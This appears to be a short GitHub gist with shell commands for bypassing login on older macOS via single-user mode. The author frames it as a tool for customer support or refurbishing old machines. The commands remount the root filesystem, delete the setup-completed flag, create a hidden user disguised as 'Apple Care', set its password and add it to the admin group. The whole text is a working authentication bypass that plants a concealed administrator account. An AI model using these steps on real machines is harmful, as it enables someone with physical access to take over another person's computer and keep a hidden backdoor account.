vincenavarro/osx_bypass.md

## osx_bypass.md

      
    Raw
  

              osx_bypass.md
            
          
    OSX single-user mode user authentication bypass.

This only works on older versions of OSX for use in customer support or refurbishing older machines. YMMV.
Start in single user mode then:
mount -uw /
rm /var/db/.AppleSetupDone
# reboot
Add a user:
/sbin/fsck -fy
/sbin/mount -uw /

launchctl load /System/Library/LaunchDaemons/com.apple.opendirectoryd.plist

dscl . -create /Users/[USERNAME] IsHidden 1
dscl . -create /Users/[USERNAME] UserShell /bin/bash
dscl . -create /Users/[USERNAME] RealName “Apple Care”
dscl . -create /Users/[USERNAME] UniqueID “555”
dscl . -create /Users/[USERNAME] PrimaryGroupID 20
dscl . -create /Users/[USERNAME] NFSHomeDirectory /var/[USERNAME]
dscl . -passwd /Users/[USERNAME] [USERNAME]

# Sometimes
# Pre-Yosemite omit IsHidden 1 and instead use UniqueID of < 500)
dscl . -delete "/SharePoints/[USERNAME]’s Public Folder"
dscl . -append /groups/admin GroupMembership [USERNAME]
dseditgroup -o edit -a [USERNAME] -t user admin